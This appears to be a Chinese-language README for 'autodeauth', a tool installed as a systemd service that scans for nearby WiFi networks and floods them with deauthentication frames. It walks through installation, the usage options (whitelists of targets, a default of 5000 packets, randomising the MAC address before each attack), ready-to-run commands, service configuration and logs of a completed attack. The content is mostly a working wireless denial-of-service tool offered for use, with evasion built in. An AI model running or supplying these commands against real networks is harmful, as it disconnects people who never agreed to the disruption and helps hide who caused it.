一个自动解除本地网络认证的工具/服务
$ chmod +x setup.sh
$ sudo ./setup.sh
[*] 可通过编辑 /etc/systemd/system/autodeauth.service 修改此项
[?] 输入用于 autodeauth 服务的 WiFi 接口:wlan0
[*] 安装完成!你可以使用 sudo autodeauth -h 查看可用选项。
[*] 查看 README 获取关于配置/启动服务的更多信息
$ sudo autodeauth -h
_ _ ___ _ _
/_\ _ _| |_ ___| \ ___ __ _ _ _| |_| |_
/ _ \ || | _/ _ \ |) / -_) _` | || | _| ' \
/_/ \_\_,_|\__\___/___/\___\__,_|\_,_|\__|_||_|
用法:autodeauth [-h] --interface INTERFACE [--blacklist BLACKLIST] [--whitelist WHITELIST] [--led LED] [--time TIME] [--random] [--ignore] [--count COUNT] [--verbose VERBOSE]
自动解除认证工具
选项:
-h, --help 显示此帮助信息并退出
--interface INTERFACE, -i INTERFACE
用于获取 WiFi 网络并发送解除认证数据包的接口(必须支持数据包注入)
--blacklist BLACKLIST, -b BLACKLIST
要避免的网络 SSID/MAC 地址列表(逗号分隔)
--whitelist WHITELIST, -w WHITELIST
要攻击的网络 SSID/MAC 地址列表(逗号分隔)
--led LED, -l LED 用于 LED 显示的引脚编号
--time TIME, -t TIME 两个解除认证数据包之间的时间间隔(秒),默认 0
--random, -r 在解除每个网络认证之前随机化你的 MAC 地址
--ignore 忽略随机化 MAC 地址时遇到的错误
--count COUNT, -c COUNT
要发送的数据包数量(默认 5000)
--verbose VERBOSE, -v VERBOSE
Scapy 的详细程度设置(默认:0)
运行安装后,你可以在任何目录下使用 autodeauth 来运行脚本
包含空格的网络可以使用它们的 MAC 地址来表示
$ sudo autodeauth -i wlan0 --blacklist FreeWiFi,E1:DB:12:2F:C1:57 -c 10000
$ sudo systemctl start autodeauth
当检测到符合白名单/黑名单条件的网络时,其网络信息会以 JSON 文件的形式保存到 /var/log/autodeauth/ 目录下
{
"ssid": "MyWiFiNetwork",
"mac_address": "10:0B:21:2E:C1:11",
"channel": 1,
"network.frequency": "2.412 GHz",
"mode": "Master",
"bitrates": [
"6 Mb/s",
"9 Mb/s",
"12 Mb/s",
"18 Mb/s",
"24 Mb/s",
"36 Mb/s",
"48 Mb/s",
"54 Mb/s"
],
"encryption_type": "wpa2",
"encrypted": true,
"quality": "70/70",
"signal": -35
}
$ cat /var/log/autodeauth/log
2022-08-20 21:01:31 - 正在扫描本地网络
2022-08-20 21:20:29 - 向网络 A0:63:91:D5:B8:76 -- MyWiFiNetwork 发送 5000 个解除认证帧
2022-08-20 21:21:00 - 退出/清理中
要更改 autodeauth 服务的设置,请编辑文件 /etc/systemd/system/autodeauth.service
假设你想要将以下配置设置为服务
$ sudo autodeauth -i wlan0 --blacklist FreeWiFi,myWifi -c 10000
$ vim /etc/systemd/system/autodeauth.service
然后你需要将 ExecStart 行修改为
ExecStart=/usr/bin/python3 /usr/local/bin/autodeauth -i wlan0 --blacklist FreeWiFi,myWifi -c 10000